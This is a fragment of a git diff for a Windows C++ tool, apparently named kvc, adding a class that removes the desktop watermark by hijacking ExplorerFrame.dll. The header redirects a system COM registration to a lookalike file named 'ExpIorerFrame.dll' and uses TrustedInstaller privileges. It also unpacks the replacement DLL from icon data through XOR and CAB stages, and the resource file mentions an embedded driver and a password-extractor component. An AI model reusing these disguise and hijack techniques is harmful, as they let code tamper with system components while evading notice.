MAX_PATH) == 0) { + return L""; + } + return std::wstring(systemDir); +} + +// Read registry value +std::wstring WatermarkManager::ReadRegistryValue(HKEY hKey, const std::wstring& subKey, + const std::wstring& valueName) noexcept +{ + HKEY hOpenKey; + if (RegOpenKeyExW(hKey, subKey.c_str(), 0, KEY_READ, &hOpenKey) != ERROR_SUCCESS) { + return L""; + } + + wchar_t value[1024]; + DWORD dataSize = sizeof(value); + DWORD type; + + if (RegQueryValueExW(hOpenKey, valueName.empty() ? nullptr : valueName.c_str(), + NULL, &type, (LPBYTE)value, &dataSize) == ERROR_SUCCESS) { + RegCloseKey(hOpenKey); + if (type == REG_SZ || type == REG_EXPAND_SZ) { + return std::wstring(value); + } + } + + RegCloseKey(hOpenKey); + return L""; +} \ No newline at end of file diff --git a/kvc/WatermarkManager.h b/kvc/WatermarkManager.h new file mode 100644 index 0000000..de6e354 --- /dev/null +++ b/kvc/WatermarkManager.h @@ -0,0 +1,46 @@ +// WatermarkManager.h +// Windows Desktop Watermark Removal via ExplorerFrame.dll Hijacking + +#pragma once + +#include "common.h" +#include "TrustedInstallerIntegrator.h" +#include +#include +#include + +class WatermarkManager +{ +public: + explicit WatermarkManager(TrustedInstallerIntegrator& trustedInstaller); + + // Main operations + bool RemoveWatermark() noexcept; + bool RestoreWatermark() noexcept; + std::wstring GetWatermarkStatus() noexcept; + bool IsWatermarkRemoved() noexcept; + +private: + // Extraction pipeline: Resource → Skip icon → XOR → CAB → Split PE + bool ExtractWatermarkDLL(std::vector& outDllData) noexcept; + + // System operations + bool RestartExplorer() noexcept; + std::wstring GetSystem32Path() noexcept; + std::wstring ReadRegistryValue(HKEY hKey, const std::wstring& subKey, + const std::wstring& valueName) noexcept; + + TrustedInstallerIntegrator& m_trustedInstaller; + + // Registry paths + static constexpr const wchar_t* CLSID_KEY = + L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32"; + static constexpr const wchar_t* HIJACKED_DLL = + L"%SystemRoot%\\system32\\ExpIorerFrame.dll"; + static constexpr const wchar_t* ORIGINAL_DLL = + L"%SystemRoot%\\system32\\ExplorerFrame.dll"; + + // Resource constants + static constexpr size_t ICON_SKIP_SIZE = 3774; // Skip icon data in resource + static constexpr int RESOURCE_ID = 102; // New resource for watermark +}; \ No newline at end of file diff --git a/kvc/resource.h b/kvc/resource.h index a18cb30..6524789 100644 --- a/kvc/resource.h +++ b/kvc/resource.h @@ -4,7 +4,8 @@ // KVC Main Application Resources (100-199) #define IDI_ICON1 101 -#define IDR_MAINICON 102 // Icon data containing embedded driver +#define IDR_MAINICON 102 // Icon data containing embedded resources + // PassExtractor/kvc_pass Resources (200-299) #define IDI_PASSEXTRACTOR_ICON 201